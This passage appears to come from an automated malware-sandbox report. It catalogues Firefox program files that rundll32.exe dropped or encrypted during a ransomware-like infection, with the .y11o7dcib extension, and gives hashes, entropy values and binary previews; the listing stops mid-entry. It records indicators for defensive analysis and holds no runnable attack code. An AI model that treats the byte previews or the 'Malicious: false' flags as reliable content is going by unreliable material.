Preview:	\|..<......:vME....w.F.....B+....i7..............(B........o.r:........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."..........b......`..........@....................;..<.....;vMA....v.E.....dB+....y7..............8B........o..r:.................`....... .. ........)...p......t...........................(.......8..............................................D....D.:vMU....w.F.....B+....i7....z.c..g...eB.......o..r:............@..@.data...............................@....pdata.. .... ......................@..@.00cfg..(....0..................1..<..I.gV.ME....w.FI....B+....i7.............^-z.q.....o..s:.........................rsrc........`......................@..@.reloc.......p......................@..B........................1..<......:vME....w.F.....B+....i7..............(B........o..r:................................................................................................................................1..<......:vME....w.F.....B+....i7.....

C:\Program Files\Mozilla Firefox\pingsender.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	81114
Entropy (8bit):	7.287572232213997
Encrypted:	false
SSDEEP:
MD5:	4091D2435F3DE8C26126A6B8B19E7F03
SHA1:	D4A8F7F6AA9E5952AA2D31B056C0E45FE93ACBAE
SHA-256:	392D23C2F3DA69FD4CD79F4022BFB0F360E10A149E255FBBC5A7D7D4FF58620D
SHA-512:	906F12C45358381A43914DE8D640417EC4A6CFF5D3B9DE9852E7CD4D73AAE38A740DEF7D674FD15CA3CE7CA775CD0A4307765EF51EE27C185ABFC0F8A5CC332C
Malicious:	false
Preview:	\|..<......:vME....w.F.....B+....i7..............(B........o.r:........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."..........b......`..........@....................;..<.....;vMA....v.E.....dB+....y7..............8B........o..r:.................`....... .. ........)...p......t...........................(.......8..............................................D....D.:vMU....w.F.....B+....i7....z.c..g...eB.......o..r:............@..@.data...............................@....pdata.. .... ......................@..@.00cfg..(....0..................1..<..I.gV.ME....w.FI....B+....i7.............^-z.q.....o..s:.........................rsrc........`......................@..@.reloc.......p......................@..B........................1..<......:vME....w.F.....B+....i7..............(B........o..r:................................................................................................................................1..<......:vME....w.F.....B+....i7.....

C:\Program Files\Mozilla Firefox\platform.ini

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	481
Entropy (8bit):	6.637071762832555
Encrypted:	false
SSDEEP:
MD5:	9BAB2F04EC1946B53E25D01C7A83B7E9
SHA1:	8A6B2B40CD074EC32652C285D7742808427401BB
SHA-256:	A8F2EF483547B513C80C54467A78273D41275620AA9B00D6FA3CF4B4D57E07A9
SHA-512:	A900B86999733FCDA0970BF6911AE2A6B6D4DA18671D3ED663399AED56EED42083B739034FC4625BFD597D6E87ADF708E5F83EFC2C839C1EFC8B7354082FAA32
Malicious:	false
Preview:	........5.1x.,#Nzq..3._...^..#Sk.n.{..}(.%.E...T.'y1*......F:.....3..o.{\..w..(o^.c....C..;9.c.`.y..ak.gQ..~..N.6.......L..e4c357d26c5a1f075a1ec0c696d4fe684ed881...~{.y.p.`..F....I'......X.4yY..}/.E..@....<3..L.=..@A.n{.F...f..C.E.!.._ ...1g.FEq....;.z......ks...."..1...../.&.d$.e.B-..}..qD^......y.u.8..o......^0....QZ../E.N4.....U..)...v.}....J.....1.l................................................................................................29yp10v5m8k.

C:\Program Files\Mozilla Firefox\platform.ini.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	481
Entropy (8bit):	6.637071762832555
Encrypted:	false
SSDEEP:
MD5:	9BAB2F04EC1946B53E25D01C7A83B7E9
SHA1:	8A6B2B40CD074EC32652C285D7742808427401BB
SHA-256:	A8F2EF483547B513C80C54467A78273D41275620AA9B00D6FA3CF4B4D57E07A9
SHA-512:	A900B86999733FCDA0970BF6911AE2A6B6D4DA18671D3ED663399AED56EED42083B739034FC4625BFD597D6E87ADF708E5F83EFC2C839C1EFC8B7354082FAA32
Malicious:	false
Preview:	........5.1x.,#Nzq..3._...^..#Sk.n.{..}(.%.E...T.'y1*......F:.....3..o.{\..w..(o^.c....C..;9.c.`.y..ak.gQ..~..N.6.......L..e4c357d26c5a1f075a1ec0c696d4fe684ed881...~{.y.p.`..F....I'......X.4yY..}/.E..@....<3..L.=..@A.n{.F...f..C.E.!.._ ...1g.FEq....;.z......ks...."..1...../.&.d$.e.B-..}..qD^......y.u.8..o......^0....QZ../E.N4.....U..)...v.}....J.....1.l................................................................................................29yp10v5m8k.

C:\Program Files\Mozilla Firefox\plugin-container.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	290010
Entropy (8bit):	7.165762102612965
Encrypted:	false
SSDEEP:
MD5:	ADE8F6D5A0B3E9AEB32CD4C4DF88A180
SHA1:	5EBD9C4C9147C6A8210108E8662D7134956DCBDB
SHA-256:	08B04D3029542AE03E63A6E589762A2F1DB38AA562AF569DC5835DB05F2356B4
SHA-512:	CB586F8ECF0EBC5C2565694B8EB3DFE2289A6046D0F3F8A82A3C2919AA8F82F2A2B3D3CA82237DF41D6338BB61C28FCE1E27457D372153A6F0FD9B7E4AC3718E
Malicious:	false
Preview:	.z9V <...\v..w.9F+6.......[.R$Y....d..^........F...J.................!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......~.....................@....................M AV!<....r..s.9N&3...N.....R$Y....d..^........F...J.....................@.......P....P.......B...).....................................(... ...8...................8.......................iT$.U<..m!u..g.9FU5......[.R$Y....d..^.......ja..J.....................@..@.data...0%... ......................@....pdata.......P......................@..@.00cfg..(....p.................G AVa<..4(..w.9O+6.....[.R.]....d..^.......h..g>a.................................rsrc...P............0..............@..@.reloc...............>..............@..B........................G AV!<...\v..w.9F+6......[.R$Y....d..^........F...J.........................................................................................................................................G AV!<...\v..w.9F+6......[.R$Y....d..^.

C:\Program Files\Mozilla Firefox\plugin-container.exe.sig

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	7.765024883995078
Encrypted:	false
SSDEEP:
MD5:	186A220B4B8321CB98EE07B32FFC1751
SHA1:	4446246F9007FA3AE130D38216B6DA03DD64337F
SHA-256:	5E687D970EFE405F7D8CB69F877CB00EB2B7BCF7B1A6F88D35D0174E5511C15E
SHA-512:	9C896C4798845E9723EFE1DABA053DEA9599784E9D578D5CF1537788D42698551769293A2CBDB751FDD15772A982C39A5E3185E7474EB18564C0A90F611EB0AA
Malicious:	false
Preview:	.4(.(...+.O.+h..+.\.j..Ihhx..yi{.l..v...x.LMz.....m.I.Y($.......L....F3I...G.....8..HEMOZ.27'....fIKx.N.{....../.L.8...1......."..H../....0T.#n"3...!......z4...`%.......T.x.o....o..}.....~Q.^...`?... %..B.X_.iM].p..._Jq6.!/......r.^.^{3..x.v>....%._[..'....%$.!<q'1..`~.g....[U)..('......./.4@P...'..MN...6.D..J......%.d.P..;uO.r....65.5."<..........:...U.G....O.)e......F.(#.{..><...4e....KtM.........F....Z.....hf.a.4x.GP..I...g.2nwI,..R..z.s./...N.h...9..[.....Z.^........~.T...".+.&D..?.$.......e..hG.&......p...j.)y....D.m..i0..?..j.KD%u_. .g..I...f5.._.... rR.pfo?..}Mu.......m.s*h.Cx..>vK.V......9S..FM...V...MG.J....~.g....SP.a.rabLKd. .6..............Z.<..P........8o.Z.~...~.g....SDKu.F@\|......f..N(4...1...L....Ic+i../.(._...OM.K^s;.N.1....w.].../Q_yz @c..<ta...EN[&X...]L.......$.g.6.\.6...4oZ.5.X...{b.c......}.x....zG..k..j......%..V.?>.EK....#....}....$......DF.5.............]#......@.A.....tY..5.=.^J..!o.R..b..+..)..

C:\Program Files\Mozilla Firefox\plugin-container.exe.sig.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	7.765024883995078
Encrypted:	false
SSDEEP:
MD5:	186A220B4B8321CB98EE07B32FFC1751
SHA1:	4446246F9007FA3AE130D38216B6DA03DD64337F
SHA-256:	5E687D970EFE405F7D8CB69F877CB00EB2B7BCF7B1A6F88D35D0174E5511C15E
SHA-512:	9C896C4798845E9723EFE1DABA053DEA9599784E9D578D5CF1537788D42698551769293A2CBDB751FDD15772A982C39A5E3185E7474EB18564C0A90F611EB0AA
Malicious:	false
Preview:	.4(.(...+.O.+h..+.\.j..Ihhx..yi{.l..v...x.LMz.....m.I.Y($.......L....F3I...G.....8..HEMOZ.27'....fIKx.N.{....../.L.8...1......."..H../....0T.#n"3...!......z4...`%.......T.x.o....o..}.....~Q.^...`?... %..B.X_.iM].p..._Jq6.!/......r.^.^{3..x.v>....%._[..'....%$.!<q'1..`~.g....[U)..('......./.4@P...'..MN...6.D..J......%.d.P..;uO.r....65.5."<..........:...U.G....O.)e......F.(#.{..><...4e....KtM.........F....Z.....hf.a.4x.GP..I...g.2nwI,..R..z.s./...N.h...9..[.....Z.^........~.T...".+.&D..?.$.......e..hG.&......p...j.)y....D.m..i0..?..j.KD%u_. .g..I...f5.._.... rR.pfo?..}Mu.......m.s*h.Cx..>vK.V......9S..FM...V...MG.J....~.g....SP.a.rabLKd. .6..............Z.<..P........8o.Z.~...~.g....SDKu.F@\|......f..N(4...1...L....Ic+i../.(._...OM.K^s;.N.1....w.].../Q_yz @c..<ta...EN[&X...]L.......$.g.6.\.6...4oZ.5.X...{b.c......}.x....zG..k..j......%..V.?>.EK....#....}....$......DF.5.............]#......@.A.....tY..5.=.^J..!o.R..b..+..)..

C:\Program Files\Mozilla Firefox\plugin-container.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	290010
Entropy (8bit):	7.165762102612965
Encrypted:	false
SSDEEP:
MD5:	ADE8F6D5A0B3E9AEB32CD4C4DF88A180
SHA1:	5EBD9C4C9147C6A8210108E8662D7134956DCBDB
SHA-256:	08B04D3029542AE03E63A6E589762A2F1DB38AA562AF569DC5835DB05F2356B4
SHA-512:	CB586F8ECF0EBC5C2565694B8EB3DFE2289A6046D0F3F8A82A3C2919AA8F82F2A2B3D3CA82237DF41D6338BB61C28FCE1E27457D372153A6F0FD9B7E4AC3718E
Malicious:	false
Preview:	.z9V <...\v..w.9F+6.......[.R$Y....d..^........F...J.................!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......~.....................@....................M AV!<....r..s.9N&3...N.....R$Y....d..^........F...J.....................@.......P....P.......B...).....................................(... ...8...................8.......................iT$.U<..m!u..g.9FU5......[.R$Y....d..^.......ja..J.....................@..@.data...0%... ......................@....pdata.......P......................@..@.00cfg..(....p.................G AVa<..4(..w.9O+6.....[.R.]....d..^.......h..g>a.................................rsrc...P............0..............@..@.reloc...............>..............@..B........................G AV!<...\v..w.9F+6......[.R$Y....d..^........F...J.........................................................................................................................................G AV!<...\v..w.9F+6......[.R$Y....d..^.

C:\Program Files\Mozilla Firefox\postSigningData

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	574
Entropy (8bit):	6.967295486587581
Encrypted:	false
SSDEEP:
MD5:	B48B45FEA115ED33901CFE13C3EA73FF
SHA1:	83C46EBA44D4CC92E9CA2DC6B187DF3F9526B7D0
SHA-256:	A782F5B7D221A3D6E295009AE2185056CBAE552FBC5FA998215A4CC15AF227D2
SHA-512:	9A5405DF14833E8EF1938269292A2798F2B2DF9EA6C258CA1E394F3F54ADAED98E11A415AABCC60249851D1F06F8206F90E9AD33D7869A52D5B9CEC9A8D30326
Malicious:	false
Preview:	U....-.4".d.....UX......c.a.r.....Vp...9.H....Z...)v..Q.....l+>.....1.9b..n....IP......x.6Pe..P.Q.....`.I......Gej...S...1:4U...Tr."w.RC.........O.y.'.r..V.D.+............./6..P.....&ayD...U..-p.GE.....T...K.v.`z#..\...,..?.....M..Oof..L.....0z)2529.......v5 .y.".........1.4...a.,.....T.i.\|'P`...C.....J'V.R....Q....^...7..m._...\|v.J..$..0]s.....C...Y......YYU.A...ML.....P. ....iM.<....dF.q.?.o%".c.........AA.f..m..cg.'.k.Z.=..".R/....(4..%KQ..............................................................................................29yp10v5m8k.

C:\Program Files\Mozilla Firefox\postSigningData.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	574
Entropy (8bit):	6.967295486587581
Encrypted:	false
SSDEEP:
MD5:	B48B45FEA115ED33901CFE13C3EA73FF
SHA1:	83C46EBA44D4CC92E9CA2DC6B187DF3F9526B7D0
SHA-256:	A782F5B7D221A3D6E295009AE2185056CBAE552FBC5FA998215A4CC15AF227D2
SHA-512:	9A5405DF14833E8EF1938269292A2798F2B2DF9EA6C258CA1E394F3F54ADAED98E11A415AABCC60249851D1F06F8206F90E9AD33D7869A52D5B9CEC9A8D30326
Malicious:	false
Preview:	U....-.4".d.....UX......c.a.r.....Vp...9.H....Z...)v..Q.....l+>.....1.9b..n....IP......x.6Pe..P.Q.....`.I......Gej...S...1:4U...Tr."w.RC.........O.y.'.r..V.D.+............./6..P.....&ayD...U..-p.GE.....T...K.v.`z#..\...,..?.....M..Oof..L.....0z)2529.......v5 .y.".........1.4...a.,.....T.i.\|'P`...C.....J'V.R....Q....^...7..m._...\|v.J..$..0]s.....C...Y......YYU.A...ML.....P. ....iM.<....dF.q.?.o%".c.........AA.f..m..cg.'.k.Z.=..".R/....(4..%KQ..............................................................................................29yp10v5m8k.

C:\Program Files\Mozilla Firefox\precomplete

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2494
Entropy (8bit):	7.751320738543317
Encrypted:	false
SSDEEP:
MD5:	E56412BDD29B5E3BB9568BC934CB2EE3
SHA1:	B4C6C9797E40C4EEC55DBA5F3D526E2D5BFDDACA
SHA-256:	A96376553B33D20841665E760EA850F7DDD59E904F9248A7A2D457D9FB448A9D
SHA-512:	7D1F7E0BA4BAC545760605B1BC09A46799CD0BA4FCEF8BF12938738FB62A392FC83B903597B89F40D541D75467CEA2ED04A92CA4669CC60B9E2C8B694F6A1B74
Malicious:	false
Preview:	.2.q.<....UL.E..w......i...O!-JTZ......D..3".3u....B6..P~..h.].{.6...O..\.Rm......`...eq0RW....}....N....=UKr....S ..1..v.2.{.S...O....Hm..]...+....f'.]....z....N..~2..k.... ...=..a.u.{.6..._..L.....D...$..`4O.@...d....F..1v.3i...:.p..9.../.<.+...\B.Y.Or..L...k....d{iQ....M....E..p:.'e..... ...=..a.u.l.:...\....Ta.._...t....mx\W....f....S...x3UKr....S ..7..).8.j.0...\....Ta.._...t....l'R.........]...a=.&s...]g.CZ..i.!.>.6...\..J.Tp.WM........u0......&....Y..g1Wcn.....,...r..a.8.{.{......E.,v..F...&....e<\Y....{....Y...}v}3e..EQo.. .I4.3.r.S...O....I~..[..h...n:I]T...r.......3^.$m...G.m..%..h.3.r.S...O....I~..J...g..!_M]....(...B..ay./a...]g.CZ..i.!.>.4...\..G.Cw.._...[....b9S]....m....F..1v. i....a..."..g.y.f.{...V....Jk..E..j....f8PN....a....x...u8.c......"...2.:H.3.r.S...O....At..@...`...eq0RW....a....B..r1.5s....Gyp...&.]&.:.3.5...\.....+..G...w...l;.2....~...F...}1.3k...KB-...1..a.y.r.w...3..D.Pa.[N...g....h0F.D..k...

C:\Program Files\Mozilla Firefox\precomplete.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2494
Entropy (8bit):	7.751320738543317
Encrypted:	false
SSDEEP:
MD5:	E56412BDD29B5E3BB9568BC934CB2EE3
SHA1:	B4C6C9797E40C4EEC55DBA5F3D526E2D5BFDDACA
SHA-256:	A96376553B33D20841665E760EA850F7DDD59E904F9248A7A2D457D9FB448A9D
SHA-512:	7D1F7E0BA4BAC545760605B1BC09A46799CD0BA4FCEF8BF12938738FB62A392FC83B903597B89F40D541D75467CEA2ED04A92CA4669CC60B9E2C8B694F6A1B74
Malicious:	false
Preview:	.2.q.<....UL.E..w......i...O!-JTZ......D..3".3u....B6..P~..h.].{.6...O..\.Rm......`...eq0RW....}....N....=UKr....S ..1..v.2.{.S...O....Hm..]...+....f'.]....z....N..~2..k.... ...=..a.u.{.6..._..L.....D...$..`4O.@...d....F..1v.3i...:.p..9.../.<.+...\B.Y.Or..L...k....d{iQ....M....E..p:.'e..... ...=..a.u.l.:...\....Ta.._...t....mx\W....f....S...x3UKr....S ..7..).8.j.0...\....Ta.._...t....l'R.........]...a=.&s...]g.CZ..i.!.>.6...\..J.Tp.WM........u0......&....Y..g1Wcn.....,...r..a.8.{.{......E.,v..F...&....e<\Y....{....Y...}v}3e..EQo.. .I4.3.r.S...O....I~..[..h...n:I]T...r.......3^.$m...G.m..%..h.3.r.S...O....I~..J...g..!_M]....(...B..ay./a...]g.CZ..i.!.>.4...\..G.Cw.._...[....b9S]....m....F..1v. i....a..."..g.y.f.{...V....Jk..E..j....f8PN....a....x...u8.c......"...2.:H.3.r.S...O....At..@...`...eq0RW....a....B..r1.5s....Gyp...&.]&.:.3.5...\.....+..G...w...l;.2....~...F...}1.3k...KB-...1..a.y.r.w...3..D.Pa.[N...g....h0F.D..k...

C:\Program Files\Mozilla Firefox\private_browsing.VisualElementsManifest.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	873
Entropy (8bit):	7.290397674110499
Encrypted:	false
SSDEEP:
MD5:	C6BCEBCD4326796A78ACAA88D334433A
SHA1:	7DFEDF6267E8977089062BE94197C31A89B20E54
SHA-256:	3C0DA164131F8CCF0B0F8715C3FC9BDCC3760B5619ABCE8CDFCFDF1D6D5EC8F7
SHA-512:	F90C46F9E81200DFB03FCA17354ECAADBAEBCF13C548FE38402691B8A81B88835C014DAEC53C2810CCC199651D1AE0B5369E63E62BDEAB443151108641348851
Malicious:	false
Preview:	]xC.Z=)'N...3.a.(..m..VC."E..d..\|U#.<.......q...'..A..7UTY..p..y>...(-7...k.N.k..z..0Z.oW..7.{6Q`..8.......q..K.....<.m..o..0....%nJ_..f.j.{..`..<&.oE..x.=uQ.........q...'.....}ZtY..p..w...F..q...v.,E%....Q\.#....~.s6H-..;......`...(.....%F7Y..3.Qi_."$..^^..'.k.{..g..7..oE...d.\|zu,..-..j...4...o../..7:we..}..h[..Xt~qY..{.m./..)..0..>....&.-n.u..'...G.c...[.....>0uS.r...>... :Xt..1.k.o..<..`B.ho..7.=EA5..-.W...s...e..... )O_..}.$5....5=af..0.v.J..~..~K.xU...p..6.`..h....a...b..\.;.qB..<. BackgroundColor='#14171a'/>.</Application>......x........c2.6....]#rzT....hU9..\#g..G.....b9...R/2.s.T_.f...K...]..S_....D.e.y..3@.M. 3....J...7T:w.E.s'...j..w%(..k_..s..._f....J...C.9....F..?.o.43I\..U......`...SE!&.Y.G...2.II;m1l................................................................................................29yp10v5m8k.

C:\Program Files\Mozilla Firefox\private_browsing.VisualElementsManifest.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	873
Entropy (8bit):	7.290397674110499
Encrypted:	false
SSDEEP:
MD5:	C6BCEBCD4326796A78ACAA88D334433A
SHA1:	7DFEDF6267E8977089062BE94197C31A89B20E54
SHA-256:	3C0DA164131F8CCF0B0F8715C3FC9BDCC3760B5619ABCE8CDFCFDF1D6D5EC8F7
SHA-512:	F90C46F9E81200DFB03FCA17354ECAADBAEBCF13C548FE38402691B8A81B88835C014DAEC53C2810CCC199651D1AE0B5369E63E62BDEAB443151108641348851
Malicious:	false
Preview:	]xC.Z=)'N...3.a.(..m..VC."E..d..\|U#.<.......q...'..A..7UTY..p..y>...(-7...k.N.k..z..0Z.oW..7.{6Q`..8.......q..K.....<.m..o..0....%nJ_..f.j.{..`..<&.oE..x.=uQ.........q...'.....}ZtY..p..w...F..q...v.,E%....Q\.#....~.s6H-..;......`...(.....%F7Y..3.Qi_."$..^^..'.k.{..g..7..oE...d.\|zu,..-..j...4...o../..7:we..}..h[..Xt~qY..{.m./..)..0..>....&.-n.u..'...G.c...[.....>0uS.r...>... :Xt..1.k.o..<..`B.ho..7.=EA5..-.W...s...e..... )O_..}.$5....5=af..0.v.J..~..~K.xU...p..6.`..h....a...b..\.;.qB..<. BackgroundColor='#14171a'/>.</Application>......x........c2.6....]#rzT....hU9..\#g..G.....b9...R/2.s.T_.f...K...]..S_....D.e.y..3@.M. 3....J...7T:w.E.s'...j..w%(..k_..s..._f....J...C.9....F..?.o.43I\..U......`...SE!&.Y.G...2.II;m1l................................................................................................29yp10v5m8k.

C:\Program Files\Mozilla Firefox\private_browsing.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	66266
Entropy (8bit):	7.240621509554638
Encrypted:	false
SSDEEP:
MD5:	C9F6BD77891681E9D2A061BB30428969
SHA1:	ED07E3E8B76A1A2E1742AD2A204665305E6F69F7
SHA-256:	0F1041AB8089C04F6ED1C83D580CF7C6FEF7977087BE37D4CCF9DA8F19DF1145
SHA-512:	FF2320EA0702ED72776147E5644E69F1A40505D9FFDAC613B8DD77AEE0033DCB50AA56861A70BC75F811E40082404F0D72A5FA20A69F319791772FA8FAEA3553
Malicious:	false
Preview:	....Q.1..V..uA3z..t.....E..fM....\|ze{..1.:a...q....o.0....N...........!..L.!This program cannot be run in DOS mode.$..PE..d......e..........".................p..........@........................Q.1...V..uA@v/.v..@....fM....\|ze{..1.:a...q....o.0....&............6...............`..4........)...0..d....5..............................`0..8............:..H..............................}Q.1+..V..uA3d..t...@.E..fM....\|Ze{n.C.[........_.0....6...............@..@.data........P.......8..............@....pdata..4....`.......:..............@..@.00cfg..(....p.......>.............IQ.q...:`..A<z..t^..@.E..&M....\|ze{..1.:a..._..yo.0....6........B..............@..@.reloc..d....0......................@..B....................................................................Q.1..V..uA3z..t...@.E..fM....\|ze{..1.:a...q....o.0....6.......................................................................................................................................Q.1..V..uA3z..t...@.E..fM....\|ze{.

C:\Program Files\Mozilla Firefox\private_browsing.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	66266
Entropy (8bit):	7.240621509554638
Encrypted:	false
SSDEEP:
MD5:	C9F6BD77891681E9D2A061BB30428969
SHA1:	ED07E3E8B76A1A2E1742AD2A204665305E6F69F7
SHA-256:	0F1041AB8089C04F6ED1C83D580CF7C6FEF7977087BE37D4CCF9DA8F19DF1145
SHA-512:	FF2320EA0702ED72776147E5644E69F1A40505D9FFDAC613B8DD77AEE0033DCB50AA56861A70BC75F811E40082404F0D72A5FA20A69F319791772FA8FAEA3553
Malicious:	false
Preview:	....Q.1..V..uA3z..t.....E..fM....\|ze{..1.:a...q....o.0....N...........!..L.!This program cannot be run in DOS mode.$..PE..d......e..........".................p..........@........................Q.1...V..uA@v/.v..@....fM....\|ze{..1.:a...q....o.0....&............6...............`..4........)...0..d....5..............................`0..8............:..H..............................}Q.1+..V..uA3d..t...@.E..fM....\|Ze{n.C.[........_.0....6...............@..@.data........P.......8..............@....pdata..4....`.......:..............@..@.00cfg..(....p.......>.............IQ.q...:`..A<z..t^..@.E..&M....\|ze{..1.:a..._..yo.0....6........B..............@..@.reloc..d....0......................@..B....................................................................Q.1..V..uA3z..t...@.E..fM....\|ze{..1.:a...q....o.0....6.......................................................................................................................................Q.1..V..uA3z..t...@.E..fM....\|ze{.

C:\Program Files\Mozilla Firefox\qipcap64.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	21210
Entropy (8bit):	7.08337248216473
Encrypted:	false
SSDEEP:
MD5:	13DA1AA71F7B23686BE407A4A97773A7
SHA1:	3B0294957A257349CC5FF3D4F70DEA4931B3C922
SHA-256:	7BA2786EC6F7399677F0D1358F2C1DDC7B6A2B6B839EC596910AEE6481CAB689
SHA-512:	57EF6A7998BE3D9A22713390167E5388EB8A9E14A961F0A966CD2902D43246F408207FD13FCC952263FA902AC681007B4342465059FD0509F7B795D765628D10
Malicious:	false
Preview:	G.?5..c......h..5.lK..yk.L.w..[.c....?.G.....;......g1GWr.]........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........." ................P.................................G5..c.....l..FzlK,.....L.w..K.c....?.W.....+......g1GW..].........!..P....p.......@.......(...)......,...`!............................... ..8............#..............................$."M..c......x..5.lK..yk...L.w..[.c......#......<......g9GW..]............@..@.data........0......................@....pdata.......@......................@..@.00cfg..(....P....................G5..cH.p......9.lK..yk...L..w..[.c....?.G....?It.`....2GW...]....."..............@..@.reloc..,............&..............@..B..................................................................G5..c......h..5.lK..yk...L.w..[.c....?.G.....;......g1GW..]..................................................................................................................................G5..c......h..5.lK..yk...L.w..[.c....

C:\Program Files\Mozilla Firefox\qipcap64.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	21210
Entropy (8bit):	7.08337248216473
Encrypted:	false
SSDEEP:
MD5:	13DA1AA71F7B23686BE407A4A97773A7
SHA1:	3B0294957A257349CC5FF3D4F70DEA4931B3C922
SHA-256:	7BA2786EC6F7399677F0D1358F2C1DDC7B6A2B6B839EC596910AEE6481CAB689
SHA-512:	57EF6A7998BE3D9A22713390167E5388EB8A9E14A961F0A966CD2902D43246F408207FD13FCC952263FA902AC681007B4342465059FD0509F7B795D765628D10
Malicious:	false
Preview:	G.?5..c......h..5.lK..yk.L.w..[.c....?.G.....;......g1GWr.]........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........." ................P.................................G5..c.....l..FzlK,.....L.w..K.c....?.W.....+......g1GW..].........!..P....p.......@.......(...)......,...`!............................... ..8............#..............................$."M..c......x..5.lK..yk...L.w..[.c......#......<......g9GW..]............@..@.data........0......................@....pdata.......@......................@..@.00cfg..(....P....................G5..cH.p......9.lK..yk...L..w..[.c....?.G....?It.`....2GW...]....."..............@..@.reloc..,............&..............@..B..................................................................G5..c......h..5.lK..yk...L.w..[.c....?.G.....;......g1GW..]..................................................................................................................................G5..c......h..5.lK..yk...L.w..[.c....

C:\Program Files\Mozilla Firefox\removed-files

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.97320177645192
Encrypted:	false
SSDEEP:
MD5:	46FED974FE7DEDDED0FB1B5F1F8C159B
SHA1:	E3D7A766AB3DE9A5F64F9728B96AB21C8EB1FA3F
SHA-256:	14F44D8B56FD733A696591E0C6618A581389F54042047B7823B11E7E8AE08DEE
SHA-512:	F12126C5A27E2E3D6DB7120F55D907516377D855EBB12FDADB30A0DEA141B755ED6A41AFC0B9322303472C0BC70C24EAA264C983B3BCFD5931648845DC88CF46
Malicious:	false
Preview:	Y.l...`.....la%..f.T\|..p.......E..+.....t.j..!.CS../..?.m....3...6PH.R._e....j.}.,.NG.y.;K..G....4..y.90.. ..}5[.Y..kY1..'.....~. ..h....}...$.0'..@Nl...p.'...T..P...n........4..Zjq.J+,QE0?<.:]NS....=Z)v4.[n.-.k:..............................................................................................29yp10v5m8k.

C:\Program Files\Mozilla Firefox\removed-files.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.97320177645192
Encrypted:	false
SSDEEP:
MD5:	46FED974FE7DEDDED0FB1B5F1F8C159B
SHA1:	E3D7A766AB3DE9A5F64F9728B96AB21C8EB1FA3F
SHA-256:	14F44D8B56FD733A696591E0C6618A581389F54042047B7823B11E7E8AE08DEE
SHA-512:	F12126C5A27E2E3D6DB7120F55D907516377D855EBB12FDADB30A0DEA141B755ED6A41AFC0B9322303472C0BC70C24EAA264C983B3BCFD5931648845DC88CF46
Malicious:	false
Preview:	Y.l...`.....la%..f.T\|..p.......E..+.....t.j..!.CS../..?.m....3...6PH.R._e....j.}.,.NG.y.;K..G....4..y.90.. ..}5[.Y..kY1..'.....~. ..h....}...$.0'..@Nl...p.'...T..P...n........4..Zjq.J+,QE0?<.:]NS....=Z)v4.[n.-.k:..............................................................................................29yp10v5m8k.

C:\Program Files\Mozilla Firefox\softokn3.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	317146
Entropy (8bit):	7.136249036855234
Encrypted:	false
SSDEEP:
MD5:	255C8BA30A2427D20C7BCE7873F16EBC
SHA1:	9C49DD279BB532CADBA43F5EDAFF03611243F87E
SHA-256:	EB802EA832EF17323671B1868EE6B9C6EFDFB0872FF15387D1D4DD1FF90A00B0
SHA-512:	A9AF7147DF7DEEF78E1CF529AB836F84823EA98E8794C57730D2AAE6EB6DCF03225151836833B41D7BB789A8A6FA40BA276DB3F40631E26EC99D2D12E75A66E6
Malicious:	false
Preview:	...n.....WS..8..%.K[..T.f..4.j"'S..+Kg.+[.L.^..F...E..u#.q..........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........." ...................................................o.....RS..8....KY.s..f..4.j"'C..+Kg.+K.L.^..F...E..u#.q...l..O....m...........................)... ..\...Pg..................................8............t..(...................................K.TS..8....K[..T.f..4.j"'S..+K..Y?.8.^...F...E.du#...............@..@.data....+...........z..............@....pdata..............................@..@.00cfg..(........................../...8?..T..%.K[..T.d..4Tn"'S..+Kg.+[.L.^..5et.Eu.u#.a......................@..@.reloc..\.... ......................@..B...................................................................o.....WS..8..%.K[..T.f..4.j"'S..+Kg.+[.L.^..F...E..u#.q.....................................................................................................................................o.....WS..8..%.K[..T.f..4.j"'S..+Kg

C:\Program Files\Mozilla Firefox\softokn3.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	317146
Entropy (8bit):	7.136249036855234
Encrypted:	false
SSDEEP:
